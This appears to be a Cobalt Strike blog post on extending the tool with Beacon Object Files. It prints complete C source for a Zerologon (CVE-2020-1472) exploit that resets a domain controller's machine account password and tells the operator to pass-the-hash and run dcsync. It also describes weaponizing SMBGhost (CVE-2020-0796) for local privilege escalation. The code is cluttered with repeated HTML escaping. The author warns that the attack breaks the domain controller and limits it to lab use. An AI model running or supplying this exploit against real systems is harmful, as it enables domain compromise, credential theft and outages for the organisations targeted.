Cobalt Strike can use PowerShell, .NET, and Reflective DLLs for its post-exploitation features. This is the weaponization problem set. How to take things, developed outside the tool, and create a path to use them in the tool. One of the newest weaponization options in Cobalt Strike are Beacon Object Files.
A Beacon Object File is a tiny C program that is compiled as an object and parsed, linked, and executed by Cobalt Strike’s Beacon payload. The value of Beacon Object Files is that they’re small, they have less execution baggage than the other methods (e.g., no fork and run), and they’re not that bad to develop either.
In this post, I’d like to share with you a few examples of how to extend Cobalt Strike with Beacon Object Files.
CVE-2020-1472 (aka Zerologon)
Let’s start with CVE-2020-1472, aka the Zerologon exploit. This is an opportunity to remotely attack and gain privileged credential material from an unpatched Windows Domain Controller.
This is a risky attack to carry out. It resets the machine account password for the target domain controller. This will break the domain controller’s functionality. I would limit use of this capability to demonstrations in a snapshotted lab or red vs. blue wargames in a snapshotted lab. I would not use this in production.
Secura, the company that discovered the bug, documents the details of the attack and weaponization chains in their whitepaper. Rich Warren from NCC Group’s Full Spectrum Attack Simulation team published a .NET program that executes this attack too.
While .NET is one path to an exploit, this same capability is a natural fit for a C program too. Here’s the Beacon Object File to exploit CVE-2020-1472 and an Aggressor Script to integrate it into Cobalt Strike:
<br /><br /> /*<br /><br /> * Port of SharpZeroLogon to a Beacon Object File<br /><br /> * https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon<br /><br /> */</p><br /> <p>#include &amp;amp;amp;amp;amp;lt;windows.h&amp;amp;amp;amp;amp;gt;<br /><br /> #include &amp;amp;amp;amp;amp;lt;stdio.h&amp;amp;amp;amp;amp;gt;<br /><br /> #include &amp;amp;amp;amp;amp;lt;dsgetdc.h&amp;amp;amp;amp;amp;gt;<br /><br /> #include &quot;beacon.h&quot;</p><br /> <p>typedef struct _NETLOGON_CREDENTIAL {<br /><br /> CHAR data[8];<br /><br /> } NETLOGON_CREDENTIAL, *PNETLOGON_CREDENTIAL;</p><br /> <p>typedef struct _NETLOGON_AUTHENTICATOR {<br /><br /> NETLOGON_CREDENTIAL Credential;<br /><br /> DWORD Timestamp;<br /><br /> } NETLOGON_AUTHENTICATOR, *PNETLOGON_AUTHENTICATOR;</p><br /> <p>typedef enum _NETLOGON_SECURE_CHANNEL_TYPE{<br /><br /> NullSecureChannel = 0,<br /><br /> MsvApSecureChannel = 1,<br /><br /> WorkstationSecureChannel = 2,<br /><br /> TrustedDnsDomainSecureChannel = 3,<br /><br /> TrustedDomainSecureChannel = 4,<br /><br /> UasServerSecureChannel = 5,<br /><br /> ServerSecureChannel = 6,<br /><br /> CdcServerSecureChannel = 7<br /><br /> } NETLOGON_SECURE_CHANNEL_TYPE;</p><br /> <p>typedef struct _NL_TRUST_PASSWORD {<br /><br /> WCHAR Buffer[256];<br /><br /> ULONG Length;<br /><br /> } NL_TRUST_PASSWORD, *PNL_TRUST_PASSWORD;</p><br /> <p>DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerReqChallenge(LPWSTR PrimaryName, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientChallenge, PNETLOGON_CREDENTIAL ServerChallenge);<br /><br /> DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerAuthenticate2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientCredential, PNETLOGON_CREDENTIAL ServerCredential, PULONG NegotiatedFlags);<br /><br /> DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerPasswordSet2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_AUTHENTICATOR Authenticator, PNETLOGON_AUTHENTICATOR ReturnAuthenticator, PNL_TRUST_PASSWORD ClearNewPassword);</p><br /> <p>void go(char * args, int alen) {<br /><br /> DWORD i;<br /><br /> NETLOGON_CREDENTIAL ClientCh = {0};<br /><br /> NETLOGON_CREDENTIAL ServerCh = {0};<br /><br /> NETLOGON_AUTHENTICATOR Auth = {0};<br /><br /> NETLOGON_AUTHENTICATOR AuthRet = {0};<br /><br /> NL_TRUST_PASSWORD NewPass = {0};<br /><br /> ULONG NegotiateFlags = 0x212fffff;</p><br /> <p>datap parser;<br /><br /> wchar_t * dc_fqdn; /* DC.corp.acme.com */<br /><br /> wchar_t * dc_netbios; /* DC */<br /><br /> wchar_t * dc_account; /* DC$ */</p><br /> <p>/* extract our arguments */<br /><br /> BeaconDataParse(&amp;amp;amp;amp;amp;amp;parser, args, alen);<br /><br /> dc_fqdn = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;amp;parser, NULL);<br /><br /> dc_netbios = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;amp;parser, NULL);<br /><br /> dc_account = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;amp;parser, NULL);</p><br /> <p>for (i = 0; i &amp;amp;amp;amp;amp;lt; 2000; i++) {<br /><br /> NETAPI32$I_NetServerReqChallenge(dc_fqdn, dc_netbios, &amp;amp;amp;amp;amp;amp;ClientCh, &amp;amp;amp;amp;amp;amp;ServerCh);<br /><br /> if ((NETAPI32$I_NetServerAuthenticate2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &amp;amp;amp;amp;amp;amp;ClientCh, &amp;amp;amp;amp;amp;amp;ServerCh, &amp;amp;amp;amp;amp;amp;NegotiateFlags) == 0)) {<br /><br /> if (NETAPI32$I_NetServerPasswordSet2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &amp;amp;amp;amp;amp;amp;Auth, &amp;amp;amp;amp;amp;amp;AuthRet, &amp;amp;amp;amp;amp;amp;NewPass) == 0) {<br /><br /> BeaconPrintf(CALLBACK_OUTPUT, &quot;Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync&quot;, dc_account);<br /><br /> }<br /><br /> else {<br /><br /> BeaconPrintf(CALLBACK_ERROR, &quot;Failed to set machine account pass for %S&quot;, dc_account);<br /><br /> }</p><br /> <p>return;<br /><br /> }<br /><br /> }</p><br /> <p>BeaconPrintf(CALLBACK_ERROR, &quot;%S is not vulnerable&quot;, dc_fqdn);<br /><br /> }<br /><br />
I’ve recorded a demonstration of this attack chain as well:
The above is a good example of a Beacon Object File that implements an of-interest attack. I’ll add that Benjamin Delpy has also added ZeroLogon to mimikatz. I like that he’s extended the options for dcsync to authenticate to a domain controller with the blank credential. This is a cleaner overall attack chain as we run mimikatz once and get the desired outcome. The same “you’ll wreck this DC” caveats apply. That said, the mimikatz implementation is what I’d use going forward.
CVE-2020-0796 (aka SMBGhost)
Another cool exploit is CVE-2020-0796, aka the SMBGhost exploit. This is an escalation of privilege opportunity against an unpatched Windows 10 system.
Core Impact has an implementation of this attack. So does the Metasploit Framework. The Metasploit Framework implementation, based on the POC from Garcia Gutierrez and Blanco Parajon, is compiled as a Reflective DLL. Cobalt Strike is able to use this implementation as-is and I demonstrate this in the Elevate Kit. The privilege escalation lecture of our Red Team Operations with Cobalt Strike course covers this pattern.
What about weaponizing CVE-2020-0796 as a Beacon Object File? This is also pretty easy to do. I found that this exploit was a very straight-forward move from Metasploit’s Reflective DLL implementation to BOF. I posted the BOF code for SMBGhost to Github with an Aggressor Script too. The README.txt documents some of the steps I took as well.
The second path, implemented as an smbghost alias, exploits the vulnerability, yields the slightly enhanced privileges, and lets you choose what to do with it. This second path is very much Bring Your Own Weaponization, I want to re-emphasize the some privileges limitation. The token manipulation, made possible by this exploit, allows us to get away with opening/interacting with processes in the same session–where we couldn’t before. The second step of injecting into a privileged process (or spawning a process under a privileged process) is required to cleanly take on a fully privileged context to work from.
Closing Thoughts…
I hope you’ve enjoyed this tour of Beacon Object Files. If you have working C code for a post-exploitation concept, Beacon Object Files are a path to turn that C code into something that can work from Cobalt Strike. If you want to see another perspective on this process, watch the Cobalt Strike BOF Making episode of the HackThePlanet twitch stream. I also wanted to highlight that there’s some great Beacon Object File capability available in the open source space too. Enjoy!